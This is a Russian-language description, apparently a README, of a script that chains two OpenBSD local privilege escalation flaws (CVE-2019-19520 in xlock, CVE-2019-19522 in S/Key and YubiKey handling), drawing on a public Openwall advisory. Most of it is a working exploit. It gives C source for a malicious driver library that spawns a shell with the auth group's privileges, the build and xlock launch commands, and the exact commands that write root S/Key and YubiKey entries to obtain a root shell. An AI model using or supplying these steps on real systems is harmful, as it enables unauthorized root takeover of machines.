
Скрипт, который автоматизирует процесс повышения привилегий в системе OpenBSD (CVE-2019-19520) путем эксплуатации бинарного файла xlock и получения его sgid, а затем повышения привилегий до пользователя root с помощью (CVE-2019-19522), эксплуатируя привилегии группы auth и добавляя ключи в Skey или Yubikey.
Скрипт, который автоматизирует процесс повышения привилегий в системе OpenBSD (CVE-2019-19520) путем эксплуатации бинарного файла xlock и получения его sgid, а затем повышения привилегий до root с помощью (CVE-2019-19522), эксплуатируя привилегии группы auth и добавляя ключи к S/Key или YubiKey
C-код практически полностью является копией оригинального PoC с: https://www.openwall.com/lists/oss-security/2019/12/04/5
В OpenBSD, /usr/X11R6/bin/xlock устанавливается по умолчанию и имеет set-group-ID "auth", а не set-user-ID; следовательно, следующая проверка неполна, и вместо неё следует использовать issetugid():
101 _X_HIDDEN void * 102 driOpenDriver(const char driverName) { ... 113 if (geteuid() == getuid()) { 114 / don't allow setuid apps to use LIBGL_DRIVERS_PATH */ 115 libPaths = getenv("LIBGL_DRIVERS_PATH");
Локальный злоумышленник может воспользоваться этой уязвимостью и вызвать dlopen() для своего драйвера, чтобы получить привилегии группы "auth":
$ id uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF" #include <paths.h> #include <sys/types.h> #include <unistd.h>
static void attribute ((constructor)) _init (void) { gid_t rgid, egid, sgid; if (getresgid(&rgid, &egid, &sgid) != 0) _exit(LINE); if (setresgid(sgid, sgid, sgid) != 0) _exit(LINE);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
} EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 & [1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
Теперь, получив привилегии группы auth, мы можем воспользоваться ими, добавив собственные root-ключи к S/Key или YubiKey
Если включён тип аутентификации S/Key или YubiKey (оба они устанавливаются по умолчанию, но отключены), локальный злоумышленник может использовать привилегии группы "auth", чтобы получить полные привилегии пользователя "root" (поскольку login_skey и login_yubikey не проверяют, что файлы в /etc/skey и /var/db/yubikey принадлежат нужному пользователю, а эти каталоги доступны для записи группе "auth").
(Примечание: чтобы получить привилегии группы "auth", локальный злоумышленник сначала может воспользоваться уязвимостью CVE-2019-19520 в xlock.)
Если включён S/Key (через skeyinit -E), локальный злоумышленник с привилегиями группы "auth" может добавить запись S/Key (файл в /etc/skey) для пользователя "root" (если этот файл уже существует, злоумышленник не может просто удалить или переименовать его, поскольку /etc/skey имеет sticky-бит; существует простой обходной путь, и он оставлен заинтересованному читателю в качестве упражнения):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey otp-md5 99 obsd91335 S/Key Password: EGG LARD GROW HOG DRAG LAIN
#id uid=0(root) gid=0(wheel) ...
Если включён YubiKey (через login.conf), локальный злоумышленник с привилегиями "auth" может добавить запись YubiKey (два файла в /var/db/yubikey) для пользователя "root" (если эти файлы уже существуют, злоумышленник может просто удалить или переименовать их, поскольку /var/db/yubikey не имеет sticky-бита):
$ id uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey Password: krkhgtuhdnjclrikikklulkldlutreul
#id uid=0(root) gid=0(wheel) ...